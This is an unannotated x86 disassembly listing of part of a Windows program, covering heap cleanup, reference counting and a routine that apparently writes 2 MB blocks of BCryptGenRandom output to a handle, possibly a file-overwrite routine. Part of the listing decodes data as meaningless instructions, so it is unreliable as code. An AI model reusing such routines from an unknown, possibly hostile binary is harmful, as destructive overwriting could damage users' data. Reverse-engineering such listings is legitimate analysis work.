call fcn.004456b1
add esp, 4
mov eax, dword [esp + 0x434]
mov ebx, dword [esp + 0x43c]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x438]
mov dword [esp + 0xc], eax
mov al, byte [esp + 0x456]
mov byte [esp + 0x50], al
mov eax, dword [esp + 0x440]
mov dword [esp + 0x14], eax
call fcn.0044568d
lea edi, [eax + 0x40]
mov esi, eax
mov ecx, edi
call fcn.00445952
lock inc dword [esi]
jle 0x40b71a
mov al, byte [0x48fdb4]
xor ecx, ecx
mov edx, 0x18
call fcn.0045a4d0
test eax, eax
je 0x40b739
mov ecx, dword [esp + 8]
mov dword [eax], esi
mov edx, 0x407065
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xc]
mov dword [eax + 8], ecx
mov ecx, dword [esp + 0x14]
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ecx
mov cl, byte [esp + 0x50]
mov byte [eax + 0x14], cl
mov ecx, edi
push eax
call fcn.004456b1
add esp, 4
lock dec dword [esi]
jne 0x40b56d
mov ecx, esi
call fcn.0044313b
mov esi, dword [esp + 0x448]
mov edi, dword [esp + 0x3f8]
mov ecx, dword [esp + 0x450]
mov eax, dword [esp + 0x444]
mov dl, byte [esp + 0x456]
mov ebx, dword [esp + 0x44c]
mov dword [esp + 0xc], esi
lea esi, [edi + 0x40]
mov dword [esp + 0x14], ecx
mov dword [esp + 8], eax
mov byte [esp + 0x50], dl
mov ecx, esi
call fcn.00445952
lock inc dword [edi]
jle 0x40b71a
mov al, byte [0x48fdb4]
xor ecx, ecx
mov edx, 0x18
call fcn.0045a4d0
test eax, eax
je 0x40b739
mov ecx, dword [esp + 8]
mov dword [eax], edi
mov edx, 0x40bdb6
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xc]
mov dword [eax + 8], ecx
mov ecx, dword [esp + 0x14]
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ecx
mov cl, byte [esp + 0x50]
mov byte [eax + 0x14], cl
mov ecx, esi
push eax
call fcn.004456b1
add esp, 4
mov eax, dword [esp + 0x328]
or dword [esp + 0x32c], eax
jne 0x40b620
lea ecx, [esp + 0x3e4]
call fcn.00401e6f
cmp byte [esp + 0xbf], 0
je 0x40b682
lea esi, [esp + 0x3e8]
mov ecx, esi
call fcn.00401e6f
mov ecx, dword [esi - 0x24]
mov edx, dword [esi - 0x20]
call fcn.00440912
cmp dword [esi - 0x28], 0
je 0x40b65e
push dword [esp + 0x3c4]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
lea ecx, [esp + 0x3ec]
call fcn.00401e6f
lea ecx, [esp + 0x3f0]
call fcn.00401e6f
lea ecx, [esp + 0x3f4]
call fcn.00401e6f
cmp byte [esp + 0x3c], 0
lea esi, [esp + 0x3f8]
je 0x40b6a8
lea ecx, [esp + 0x3cc]
call fcn.00401d20
lea ecx, [esp + 0x3d8]
call fcn.00401d20
mov ecx, esi
call fcn.00401d01
cmp byte [esp + 0x60], 0
je 0x40b6ce
lea ecx, [esp + 0x3fc]
call fcn.00401f1f
lea ecx, [esp + 0x400]
call fcn.00401e6f
lea ecx, [esp + 0x404]
call fcn.00401f1f
lea ecx, [esp + 0x408]
call fcn.00401f1f
mov esi, dword [esp + 0x3b4]
lea ecx, [esi + 0x40]
call fcn.0044563a
lock dec dword [esi]
jne 0x40b701
mov ecx, esi
call fcn.0044313b
push dword [ebp + 8]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
ud2
mov ecx, 4
mov edx, 0x10
call fcn.0046d190
mov ecx, 4
mov edx, 0x18
call fcn.0046d190
mov ecx, 4
mov edx, 0x14
call fcn.0046d190
mov edx, 0x6f1
push 0x486758
call fcn.0046e9c0
call fcn.00414380
mov edx, 0x6f1
push 0x486748
call fcn.0046e9c0
mov ecx, 4
mov edx, 0x114
call fcn.0046d190
mov edx, dword [esp + 8]
mov ecx, 4
call fcn.0046d190
mov ecx, 4
mov edx, 0xf9e4
call fcn.0046d190
mov ecx, 4
mov edx, 0xc
call fcn.0046d190
mov edx, 0x6f1
push 0x486738
call fcn.0046e9c0
mov ecx, 4
mov edx, 0x24
call fcn.0046d190
nop
cmp eax, 0x44000037
aaa
add byte [eax], al
aaa
add byte [eax], al
cmp eax, 0x52000037
aaa
add byte [eax], al
pushal
aaa
add byte [eax], al
ja 0x40b825
add byte [eax], al
popfd
cmp dword [eax], eax
add dl, bl
cmp byte [eax], al
add dl, bh
aaa
add byte [eax], al
popfd
cmp dword [eax], eax
add dl, bl
cmp byte [eax], al
add byte [ebp - 0x77], dl
in eax, 0x53
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x200050
call fcn.0045f9f0
mov ecx, dword [ebp + 8]
lea edx, [esp + 0x10]
mov esi, 0x200000
lea ebx, [esp + 0x4c]
and al, 0x4c
mov edi, dword [ecx + 4]
mov eax, dword [ecx]
mov ecx, dword [ecx + 8]
mov dword [edx], eax
mov dword [esp + 4], ecx
mov dword [edx + 4], edi
xor eax, eax
push esi
push eax
push ebx
call fcn.00462900
add esp, 0xc
push 2
push esi
push ebx
xor eax, eax
push eax
call dword [sym.imp.bcrypt.dll_BCryptGenRandom]
lea esi, [esp + 8]
lea ebx, [esp + 0x30]
mov ecx, esi
mov edx, edi
push 0x200000
lea eax, [esp + 0x50]
push eax
call fcn.0044ffa0
add esp, 8
mov al, byte [esp + 8]
cmp al, 4
jne 0x40b8ac
mov eax, dword [esp + 0xc]
mov dword [esp + 0x24], 0
mov ecx, ebx
lea edx, [esp + 0x10]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0xa
push eax
call fcn.00402e6d
add esp, 4
mov ecx, ebx
call fcn.00401b70
jmp 0x40b85a
mov edx, dword [esp + 0xc]
movzx ecx, al
call fcn.00429aac
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
lea ecx, [esp + 0x10]
call fcn.00401e6f
mov ecx, dword [esp + 4]
call fcn.00404ad2
push dword [ebp + 8]
push 0
push dword [0x48fd58]
call dword [sym.imp.kernel32.dll_HeapFree]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret